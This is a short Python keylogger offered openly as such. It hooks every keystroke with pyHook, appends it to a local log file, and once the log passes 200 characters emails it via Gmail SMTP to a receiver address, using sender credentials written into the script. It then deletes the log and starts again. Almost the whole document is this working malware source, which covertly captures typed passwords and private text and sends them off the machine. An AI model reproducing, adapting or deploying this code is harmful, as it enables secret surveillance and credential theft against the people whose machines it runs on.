this is a python keylogger that records keystrokes and sends a log of 200 words to a mailing address.
#download necesssry modules
import pythoncom, pyHook
def OnKeyboardEvent(event):
global text
global lngth
if event.KeyID == 13:
text = '''
'''
elif event.KeyID == 165:
text = '[alt]'
elif event.KeyID == 8:
text = '[bckspc]'
elif event.KeyID == 46:
text = '[dlt]'
elif event.KeyID == 160:
text = '[lshft]'
elif event.KeyID == 161:
text = '[rshft]'
elif event.KeyID == 38:
text ='[up]'
elif event.KeyID == 39:
text = '[rght]'
elif event.KeyID == 37:
text ='[lft]'
elif event.KeyID ==40:
text = '[dwn]'
else:
text = chr(event.Ascii)
#creates a .txt file, registers logs
logger = open('logs.txt', 'a')
logger.write(text)
logger.close()
d = open('logs.txt', 'r')
data = d.read()
d.close()
#counts number of characters
lngth=len(data)
#when 200 words is exceeded email is sent
if lngth >= 200:
import smtplib
fromaddr = 'sender@gmail.com'
toaddrs = 'receiver@gmail.com'
msg = data
username = 'sender@gmail.com'
password = 'password'
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
#example included for a gmail account
import os
#deletes logs after sending and recreates another file
os.remove('logs.txt')
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()